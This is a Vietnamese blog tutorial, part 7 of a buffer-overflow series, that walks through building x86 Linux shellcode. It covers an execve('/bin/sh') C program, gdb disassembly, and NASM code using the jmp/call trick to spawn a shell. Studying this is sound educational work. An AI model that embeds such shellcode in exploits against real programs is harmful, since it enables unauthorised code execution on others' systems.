Trao đổi với tôi

http://www.buidao.com

3/3/10

[Hacking] Lỗi tràn bộ đệm [7]: căn bản về shellcodes

Lần trước [1] ta đã biết cách viết chương trình Hello World dùng mẹo “jmp và call”, cùng với một utility tên là bct để thử chạy và in ra các đoạn mã máy theo dạng hex (bài tập 1). Lần này ta viết một đoạn mã máy để chạy một shell (ở đây ta gọi /bin/sh, bạn thay nó bằng /bin/bash hay /bin/csh, /bin/tcsh, … tùy hỉ). Quá trình tìm tòi cũng như lần trước. Đầu tiên ta viết nó bằng C xem system call được gọi như thế nào:

/*
*----------------------------------------------------------------------
* ex4.c
* 1. Figure out how system calls work in assembly
*----------------------------------------------------------------------
*/
#include

int main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}

Sau đó ta dùng gdb để đào vào chi tiết hoạt động xem system call execve được gọi ra sao

[NQH] hanoi:~/BO$ make 4
gcc -g -static ex4.c -o ex4
[NQH] hanoi:~/BO$ gdb ex4
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) disas main
Dump of assembler code for function main:
; typical function prologue
0x08048214 : push %ebp
0x08048215 : mov %esp,%ebp
0x08048217 : sub $0x18,%esp
; end of prologue
; next: a very complicated way of computing the new %esp
0x0804821a : and $0xfffffff0,%esp
0x0804821d : mov $0x0,%eax
0x08048222 : sub %eax,%esp
; name[0] points to "/bin/sh"
0x08048224 : movl $0x8095e68,0xfffffff8(%ebp)
; name[1] points to NULL
0x0804822b : movl $0x0,0xfffffffc(%ebp)
; prepare to call 'execve', push last arg first
0x08048232 : movl $0x0,0x8(%esp)
; second arg is moved to %eax
0x0804823a : lea 0xfffffff8(%ebp),%eax
; second arg is pushed onto the stack
0x0804823d : mov %eax,0x4(%esp)
; third arg is pushed onto the stack
0x08048241 : mov 0xfffffff8(%ebp),%eax
0x08048244 : mov %eax,(%esp)
; finally 'execve' is called
0x08048247 : call 0x804df00
0x0804824c : leave
0x0804824d : ret
End of assembler dump.

; Now, let's figure out exactly what goes on inside 'execve'

(gdb) disas execve
Dump of assembler code for function execve:
; save %ebp
0x0804df00 : push %ebp
; %eax now contains 0
0x0804df01 : mov $0x0,%eax
; %ebp now points to current %esp
0x0804df06 : mov %esp,%ebp
; save %ebx, prepare %ebx to be used for computation
0x0804df08 : push %ebx
; test if %eax is actually 0 (sanity check, I guess)
0x0804df09 : test %eax,%eax
; copy name[0] (the address of "/bin/sh" to %ebx)
0x0804df0b : mov 0x8(%ebp),%ebx
; if %eax is 0, continue
0x0804df0e : je 0x804df15
; else, restart the system call
0x0804df10 : call 0x0
; copy 'name' into %ecx
0x0804df15 : mov 0xc(%ebp),%ecx
; copy address of the NULL pointer into %edx
0x0804df18 : mov 0x10(%ebp),%edx
; %eax now has the system call number for execve (11)
0x0804df1b : mov $0xb,%eax
; change to kernel mode (execve actually executed)
0x0804df20 : int $0x80
; the rest is not important
0x0804df22 : cmp $0xfffff000,%eax
0x0804df27 : mov %eax,%ebx
0x0804df29 : ja 0x804df30
0x0804df2b : mov %ebx,%eax
0x0804df2d : pop %ebx
0x0804df2e : pop %ebp
0x0804df2f : ret
0x0804df30 : neg %ebx
0x0804df32 : call 0x8048a40 <__errno_location>
0x0804df37 : mov %ebx,(%eax)
0x0804df39 : mov $0xffffffff,%ebx
0x0804df3e : jmp 0x804df2b
End of assembler dump.

Đến đây ta biết đích xác cách gọi execve, cứ làm theo các bước sau:

  1. Đặt chuỗi NULL-terminated “/bin/sh” ở một địa chỉ A nào đó
  2. Đặt A và một NULL word (4 bytes) kề nhau ở một địa chỉ B nào đó
  3. Copy 0xb vào thanh ghi %eax
  4. Copy A vào thanh ghi %ebx
  5. Copy B vào thanh ghi %ecx
  6. Copy 0x0 vào thanh ghi %edx
  7. Gọi ngắt 80 (nghĩa là int 0x80) để chuyển sang kernal mode.

Ta hiện thực quan sát trên bằng assembly

;;
;; ex5.asm
;;
section .data ; section declaration

shell_path db "/bin/cshX" ; this is name[0]
name db "00001111" ; char* name[2];

section .text ; section declaration

global _start ; default entry point for ELF linking

_start:

mov eax, 0 ; put 0 into eax
mov ebx, shell_path ; ebx is where name[0] is supposed to go
mov [ebx+8], al ; replace X at the end by 0, now it's null-terminated
mov ecx, name ; ecx is where name is supposed to go
mov [ecx], ebx ; replace 0000 by pointer to path string (shell_path)
mov [ecx+4], eax ; replace 1111 by 0x0
mov edx, 0 ; edx contains NULL too
mov eax, 11 ; 11 is the system call number of execve
int 0x80 ; finally, invoke the system call

Và chạy thử

[NQH]:~/BO$ make 5
nasm -f elf ex5.asm
ld shell.o -o ex5
[NQH]:~/BO$ ./ex5
%exit
exit

Dễ dàng chuyển ví dụ này thành shellcode:

;;
;; ex9.asm - shellcode without using data segment
;;
USE32

jmp short two
one:
pop ebx ; ebx is where name[0] is supposed to go
mov eax, 0 ; put 0 into eax
mov [ebx+7], al ; replace X at the end by 0, now it's null-terminated
lea ecx, [ebx+8] ; ecx is where name is supposed to go
mov [ecx], ebx ; replace nam0 by pointer to the path string
mov [ecx+4], eax ; replace nam1 by 0x00000000 (NULL)
xor edx, edx ; edx contains NULL too
mov eax, 11 ; 11 is the system call number of execve
int 0x80 ; finally, invoke the system call
two:
call one
db '/bin/shXnam0nam1'

Và chạy thử dùng utility bct ta đã viết

[NQH] hanoi:~/BO$ make 9
nasm ex9.asm
[NQH] hanoi:~/BO$ bct ex9
----------------------
Calling your code ...
----------------------
sh-2.05b$ exit
exit
[NQH] hanoi:~/BO$

Căn bản là thế, còn vài vấn đề rất quan trọng ta phải giải quyết trước khi có thể biến các shellcodes này thành mã máy dùng để exploit các chương trình có buffer overflow bug. Lần tới ta sẽ thảo luận các vấn đề này.


Article printed from Blog Khoa Học Máy Tính: http://www.procul.org/blog

URL to article: http://www.procul.org/blog/2006/06/06/l%e1%bb%97i-tran-b%e1%bb%99-o%e1%bb%87m-7-cnn-b%e1%ba%a3n-v%e1%bb%81-shellcodes/

URLs in this post:

[1] Lần trước: http://www.procul.org/blog/2005/10/30/l%e1%bb%97i-tran-b%e1%bb%99-o%e1%bb%87m-6-cnn-b%e1%ba%a3n-v%e1%bb%81-shellcode/